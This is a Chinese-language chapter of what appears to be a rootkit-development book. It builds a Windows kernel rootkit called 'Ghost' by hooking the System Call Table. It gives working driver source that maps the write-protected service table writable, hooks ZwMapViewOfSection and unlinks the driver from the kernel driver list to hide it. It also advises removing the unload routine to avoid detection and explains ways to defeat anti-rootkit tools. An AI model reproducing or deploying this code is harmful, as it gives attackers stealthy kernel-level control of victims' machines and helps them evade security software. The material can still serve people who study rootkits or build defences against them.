第三章: 内核钩子
概述
本章将带领大家创建一个内核钩子。内核函数为操作系统高级应用程序提供了运行系统操作所必须的低级函数。通过挂钩内核,一个rootkit可以使用高级应用程序来改变低级操作。这样就提供了一个便于控制、监视、过滤和提供一些隐藏可能的机制。
本章包括如下内容:
系统调用表
内存保护机制
内核挂钩指令
内核挂钩函数
一个基本内核钩子的例子
关于内核函数的描述
系统调用表
Windows内核依赖一个函数指针列表来实现系统操作。这个表相当于被Microsoft作为系统服务列表或服务描述列表,它可以被修改指向用户指定的函数。挂钩这些系统函数就是本章的焦点。
参考DDK,KeServiceDescriptorTable,提供了一些核心级的进程允许进入系统调用表,但是修改系统调用表和替换核心函数不是一个简单的任务。本章介绍通过系统调用表访问这些函数并给你一些资源来替换这些核心函数。
系统调用表中有一些条目,它们可以将操作由简单字符串操作指向复杂C/S操作,因此不要奢望一个晚上就了解系统调用表的全部范围。然而,记住你可以学习更多的系统调用表所涉及的函数,为你实现内核挂钩做好更充分的准备。

内核内存保护机制
在挂钩内核函数之前,需要考虑的是设备防修改机制。目前的Windows操作系统能够通过将系统调用表设置为只读来保护核心内存。如果不完全的获得它会阻止内核挂钩。内存描述列表如图3-1所示。 

Figure 3-1 
获得被保护的内存的关键在于内存描述表,在微软Windows 驱动开发包的ntddk.h文件中被定义。下面是该文件中的定义:

typedef struct _MDL {
 struct _MDL *Next;
 CSHORT Size;
 CSHORT MdlFlags;
 struct _EPROCESS *Process;
 PVOID MappedSystemVa;
 PVOID StartVa;
 ULONG ByteCount;
 ULONG ByteOffset;
} MDL, *PMDL;

#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000


#define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA | \
 MDL_PAGES_LOCKED | \
 MDL_SOURCE_IS_NONPAGED_POOL | \
 MDL_PARTIAL_HAS_BEEN_MAPPED | \
 MDL_PARENT_MAPPED_SYSTEM_VA | \
 MDL_SYSTEM_VA | \
 MDL_IO_SPACE )
内存描述表(MDLs)是用来将虚拟内存映射到物理页的。如果内存描述表中的内存地址的系统调用表的系统描述表标志位设为MDL_MAPPED_TO_SYSTEM_VA并且物理页被锁定,那么内核挂钩可以实现。下面的代码段将达到这个结果:

#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase;
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

PVOID* NewSystemCallTable;
PMDL pMyMDL = MmCreateMdl( NULL,
 KeServiceDescriptorTable.ServiceTableBase,
 KeServiceDescriptorTable.NumberOfServices * 4 );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
现在挂钩时你可以使新的系统调用表(NewSystemCallTable)。图3-2所示系统调用表。

Figure 3-2 
可以考虑使用下面的宏指令来挂钩:

#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

#define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
 oldPointer2Function = (PVOID) InterlockedExchange( (PLONG)
&NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)

#define UNHOOK(functionName, oldPointer2Function)  \
 InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG)
oldPointer2Function)
图3-3所示挂钩系统调用表。

Figure 3-3 
KeServiceDescriptorTable(系统调用表)数据结构包含所有ntdll.dll函数指针并提供需要创建你自己内存描述表的基地址和表大小。如果你创建了一个带有MDL_MAPPED_TO_SYSTEM_VA 标志的无页内存描述表,你可以锁定它并返回地址作为你自己的(可写的)系统调用表。
使用#defines来让挂钩变得安全和容易。由于InterlockedExchange,使得指针交换方式更安全,一个不需要暂停和终端的基本函数,什么能比使用宏指令挂钩和卸载挂钩要更容易呢?
定义一个挂钩函数
内核挂钩的基本部分就是函数挂钩,替换被函数的函数和系统调用表。前面一节已经已经给大家讲了所需要使用的宏指令,但是你仍然需要定义替换被挂钩函数的函数和用来储存原函数地址的函数指针。大多数情况下,你可以在DDK头文件中找到函数原型。举个例子来说,下面这个函数原型是在ntddk.h的,经修改变为替换被挂钩函数的函数。
下面是ntddk.h定义的原始形式:

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect );
因此,下面所示挂钩原函数的指针:

typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect );

ZWMAPVIEWOFSECTION OldZwMapViewOfSection;
下面所示为替换被挂钩函数的原函数:

NTSTATUS NewZwMapViewOfSection(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect )
{
 NTSTATUS status;

 DbgPrint("comint32: NewZwMapViewOfSection called.");
 // we can do whatever we want with the input here
 // and return or continue to the original function

 status = OldZwMapViewOfSection(SectionHandle,
  ProcessHandle,
  BaseAddress,
  ZeroBits,
  CommitSize,
  SectionOffset OPTIONAL,
  ViewSize,
  InheritDisposition,
  AllocationType,
  Protect );

 // we can do whatever we want with the output here
 // and return any value including the actual one

 return status;
}
如果这些被定义了,你可以使用下面这些:

HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
如果你使用了DriverUnload(),注意一定要卸载钩子。

提示:
ZwMapViewOfSection是内核函数,它允许允许应用程序将动态链接库的输出函数映射到内存中。挂钩这个函数来改变DLL函数的映射被称作进程注入或用户模式挂钩,这是第四章需要探讨的话题。



一个实例
需要挂钩内核系统调用表的功能已经可以通过新建两个文件再修改已存在的两个文件的方法来实现。本书涉及的所有文件和在网上下载得到。
下面是新文件:

hookManager.c
hookManager.h
下面是被修改文件:

Ghost.c
SOURCES
代码如下节所示。
SOURCES文件
将hookManager.c增加到SOURCES文件:

TARGETNAME=comint32
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=Ghost.c\
 fileManager.c\
 hookManager.c\
 configManager.c
Ghost.c
Ghost.c文件中增加了三个新的全局变量: NewSystemCallTable, pMyMDL,和 OldZwMapViewOfSection。其中,NewSystemCallTable和pMyMDL是用来获得修改内存保护的,OldZwMapViewOfSection来保存原始ZwMapViewOfSection地址。值得注意的是在系统重启时原始的ZwMapViewOfSection可能不是系统调用表中原来的地址。这个地址可能来自另一个rootkit或安全软件。
DriverUnload函数被修改为卸载挂钩ZwMapViewOfSection并返回MDL。另外,在一个实际运行环境中DriverUnload可能不是必须的,但是在一个开发环境中它是很有用的。
Ghost.c文件中还需要增加的是调用Hook. Hook在hookManager.h中被声明并且在hookManager.c中被执行。为了简单起见,更多复杂的头文件将在执行文件后列出。
执行文件如下:

// Ghost
// Copyright Ric Vieler, 2006


#include "ntddk.h"
#include "Ghost.h"
#include "fileManager.h"
#include "configManager.h"
#include "hookManager.h"

// Used to circumvent memory protected System Call Table
PVOID* NewSystemCallTable = NULL;
PMDL pMyMDL = NULL;
// Pointer(s) to original function(s)
ZWMAPVIEWOFSECTION OldZwMapViewOfSection;

// Global version data
ULONG majorVersion;
ULONG minorVersion;

 // Comment out in free build to avoid detection
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
 DbgPrint("comint32: OnUnload called.");

 // Unhook any hooked functions and return the Memory Descriptor List
 if( NewSystemCallTable )
 {
  UNHOOK( ZwMapViewOfSection, OldZwMapViewOfSection );
  MmUnmapLockedPages( NewSystemCallTable, pMyMDL );
  IoFreeMdl( pMyMDL );
 }

}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;

 // Get the operating system version
 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

 // Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
 // Major = 5: Windows Server 2003, Windows XP or Windows 2000
 // Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
 // Minor = 1: Windows XP
 // Minor = 2: Windows Server 2003

 if ( majorVersion == 5 && minorVersion == 2 )
 {

  DbgPrint("comint32: Running on Windows 2003");
 }
 else if ( majorVersion == 5 && minorVersion == 1 )
 {

  DbgPrint("comint32: Running on Windows XP");
 }
 else if ( majorVersion == 5 && minorVersion == 0 )
 {

  DbgPrint("comint32: Running on Windows 2000");
 }
 else if ( majorVersion == 4 && minorVersion == 0 )
 {

  DbgPrint("comint32: Running on Windows NT 4.0");
 }
 else
 {

  DbgPrint("comint32: Running on unknown system");
 }

 // Hide this driver
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20)); 
 if( driverData != NULL )
 {
  // unlink this driver entry from the driver list
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
 }

// Comment out in free build to avoid detection
 theDriverObject->DriverUnload = OnUnload;

 // Configure the controller connection
 if( !NT_SUCCESS( Configure() ) )
 {
  DbgPrint("comint32: Could not configure remote connection.\n");
  return STATUS_UNSUCCESSFUL;
 }

 // Hook the System Call Table
 if( !NT_SUCCESS( Hook() ) )
 {
  DbgPrint("comint32: Could not hook the System Call Table.\n");
  return STATUS_UNSUCCESSFUL;
 }

 return STATUS_SUCCESS;
}
hookManager.c
hookManager.c文件中只有两个函数:NewZwMapViewOfSection和Hook。在显示一个快速的debug调试语句后NewZwMapViewOfSection简单的调用原始的ZwMapViewOfSection。Hook是这章的关键。挂钩是本章的关键。这里创建了系统调用表的一个可写MDL,并内核调用重定向到我们的函数:

// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table

#include "ntddk.h"
#include "hookManager.h"
#include "Ghost.h"

NTSTATUS NewZwMapViewOfSection(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect )
{
 NTSTATUS status;

 DbgPrint("comint32: NewZwMapViewOfSection called.");
 // we can do whatever we want with the input here
 // and return or continue to the original function

 status = OldZwMapViewOfSection(       SectionHandle,
  ProcessHandle,
  BaseAddress,
  ZeroBits,
  CommitSize,
  SectionOffset OPTIONAL,
  ViewSize,
  InheritDisposition,
  AllocationType,
  Protect );

 // we can do whatever we want with the output here
 // and return any value including the actual one

 return status;
}

NTSTATUS Hook( )
{
 // Needed for HOOK_INDEX
 RtlInitUnicodeString(&dllName, L"\\SystemRoot\\system32\\ntdll.dll");

 pMyMDL = MmCreateMdl(NULL,
  KeServiceDescriptorTable.ServiceTableBase,
  KeServiceDescriptorTable.NumberOfServices * 4 );

 if( !pMyMDL )
  return( STATUS_UNSUCCESSFUL );

 MmBuildMdlForNonPagedPool( pMyMDL );
 pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
 NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

 if( !NewSystemCallTable )
  return( STATUS_UNSUCCESSFUL );

 // Add hooks here (remember to unhook if using DriverUnload)

 HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );

 return( STATUS_SUCCESS );
}
hookManager.h
hookManager.h文件首先定义了ServiceDescriptorEntry结构。这是KeServiceDescriptorTable所必须的输入结构。这个结构被打包成与内存中相匹配的实际结构。在in Ghost.c中全局变量定义了三个外部函数NewSystemCallTable, pMyMDL,和 OldZwMapViewOfSection。为了使挂钩安全、简单,还定义了三个宏指令HOOK_INDEX, HOOK,和UNHOOK。最后,在hookManager.c中实现了NewZwMapViewOfSection和Hook 函数的声明:

// Copyright Ric Vieler, 2006
// Support header for hookManager.c

#ifndef _HOOK_MANAGER_H_
#define _HOOK_MANAGER_H_

// The kernel's Service Descriptor Table
#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase;
 unsigned int NumberOfServices;
  unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

// Our System Call Table
extern PVOID* NewSystemCallTable;

// Our Memory Descriptor List
extern PMDL pMyMDL;

#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

#define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
 oldPointer2Function = (PVOID) InterlockedExchange( (PLONG)
&NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)

#define UNHOOK(functionName, oldPointer2Function)  \
 InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG)
oldPointer2Function)

typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
 IN ULONG Protect );

extern ZWMAPVIEWOFSECTION OldZwMapViewOfSection;

NTSTATUS NewZwMapViewOfSection(
 IN HANDLE SectionHandle,
 IN HANDLE ProcessHandle,
 IN OUT PVOID *BaseAddress,
 IN ULONG ZeroBits,
 IN ULONG CommitSize,
 IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
 IN OUT PSIZE_T ViewSize,
 IN SECTION_INHERIT InheritDisposition,
 IN ULONG AllocationType,
  IN ULONG Protect );

NTSTATUS Hook();

#endif
如果你已经使用了Checked DDK和SCMLoader.exe来编译和加载完成,那么你可以使用命令“net start MyDeviceDriver”来开始运行服务并可以看到debug调试语句“comint32: NewZwMapViewOfSection”,说明一个新的应用程序被加载。
挂钩什么函数?
现在你已经知道怎样挂钩系统调用表中的函数了,你应该想了解这些函数都是什么?他们是怎样工作的呢?。ntdll.dll中有几百个输出函数,因此列出这些函数并描述他们的用途是本书的内容。幸运的是,详细描述可以通过函数集合来描述。
查看ntdll.dll中的每个输出函数,你可以很简单的将ntdll.dll (通常在 c:\windows\system32目录)拖放到IDA中。IDA加载了这个文件以后,你可以选择菜单选项Navigate->Jump To->Function,可以看到一个包括所有输出函数的列表。此外,如果你有时间,可以通过这些函数将你引入逆向工程的世界。
这不是一本内核模式编程的入门书;因此不会进行详细描述。对于刚刚起步的初学者,这里的描述已经够用了,但是使用这些函数将需要内核模式编程的专业知识。
ntdll.dll的输出函数可以简单的通过前缀来分组表示。下面一节来描述这些函数组。
Csr - 客户(服务器)运行时间
这里只有几个Csr例程(在Windows 2003 Server系统中有15个)。这个组包括如下内容:
CsrClientCallServer
CsrCaptureMessageBuffer
CsrConnectClientToServer
CrsNewThread
如果你需要挂钩客户/服务器操作,你需要更深入的了解Csr函数组。

Dbg - Debug调试管理器
这里只有几个Dbg 例程(在Windows 2003 Server系统中有18个)。这个组包括如下内容:
DbgBreakPoint
DbgUserBreakPoint
DbgPrint
DbgUiConnectToDbg
如果你需要挂钩debug操作,你需要更深入的了解Dbg函数组。 
Etw - Windows事件跟踪
这里只有几个Etw例程(在Windows 2003 Server系统中有33个)。这个组包括如下内容:
EtwTraceEvent
EtwEnableTrace
EtwGetTraceEnableLevel
EtwGetTraceEnableFlags
如果你需要挂钩事件跟踪操作,你需要更深入的了解Etw函数组。
Ki - 内核函数(必须来自内核调用)
只有很少的几个Ki例程(Windows 2003 Server系统中有4个)。这些子程序必须在内核中调用,因此很少有机会需要挂钩它们。这个组包括如下内容:
KiUserCallbackDispatcher
KiRaiseUserExceptionDispatcher
KiUserApcDispatcher
KiUserExceptionDispatcher
Ldr - 加载程序管理器
这里只有几个Ldr例程(在Windows 2003 Server系统中有36个)。这个组包括如下内容:
LdrInitializeThunk
LdrLockLoaderLock
LdrUnlockLoaderLock
LdrGetDllHandle
LdrGetProcedureAddress
如果你需要挂钩加载器操作,你需要更深入的了解Ldr函数组。
Pfx - ANSI前缀管理器
这里只有几个Pfx例程(在Windows 2003 Server系统中有4个)。这个组包括如下内容:
PfxInitialize
PfxRemovePrefix 
PfxInsertPrefix
PfxFindPrefix
如果你需要挂钩ASNI字符串表操作,你需要了解这些子程序。
Rtl - 运行时间库
这里是关于一些操作的Rtl子程序:
初始化和使用字符串
初始化和使用线程
初始化和使用资源
初始化和使用关键段
初始化和使用安全目标
操作内存
操作数据类型
异常处理
访问处理
计时器操作
堆操作
压缩和解压操作
IPv4和IPv6操作
Zw - 文件和注册表
关于下列操作的Zw子程序如下:
文件操作
注册表操作
访问处理
计时器操作
事件操作
令牌操作
进程操作
端口操作
除此之外还有更多。
挂钩存在的问题
有一些anti-rootkit应用程序可以重建系统调用表。可以通过从原始文件ntoskrnl.exe 重新初始化内核内存的方法来实现。如果系统调用表在我们的rootkit安装后被重建,那么所有的钩子将会失效。为了防止这种可能性发生,新的rootkit跟着表入口来到实际函数并修复函数自身使他们跳转到各自的rootkit子程序。这个技术被叫做 “trampolining(蹦床)”,并被用作进程注入,第四章将详细介绍。
当然,新的anti-rootkit程序也可以跟随表入口来到真实函数并恢复被更改的函数,因此你的rootkit需要一个方法来欺骗系统调用表的检查,或者欺骗ntoskrnl.exe的加载。因为在真实内核函数中增加跳转会使anti-rootkit软件更难清除你的挂钩,增加更多的挂钩来阻止anti-rootkit软件查看真实的系统调用表(或真实的ntoskrnl.exe内容)是唯一被认可的方法。
当然,欺骗系统调用表检测的方法是被推荐的。这是因为anti-rootkit软件可能只是基于Windows 操作系统众多版本中某一个固定版本的ntoskrnl.exe。如果anti-rootkit所调用相应版本的ntoskrnl.exe的文件名改变了,那么挂钩 ZwOpenFile来查找ntoskrnl.exe将找不到它!
为了欺骗系统调用表的差检测,你需要挂钩MmCreateMdl并查找系统调用表(KeServiceDescriptorTable.ServiceTableBase)的基地址。你还应该挂钩ZwOpenSection并使用\device\physicalmemory查找OBJECT_ATTRIBUTE。如果有进程打开物理内存并写入系统调用表,那么可以确定你的挂钩将存在被清除的危险。当然也有可能是另外一个rootkit在运行。
总结
我们现在已经拥有了一个具有如下功能的rootkit:
隐藏自身设备驱动条目
隐藏自身配置文件
挂钩操作系统内核
内核钩子可以提供rootkit所需要的大部分函数功能,但是实现一个完整功能的rootkit还需要一些其他的技术参与。下章增加另一个rootkit中至关重要的部分:进程注入。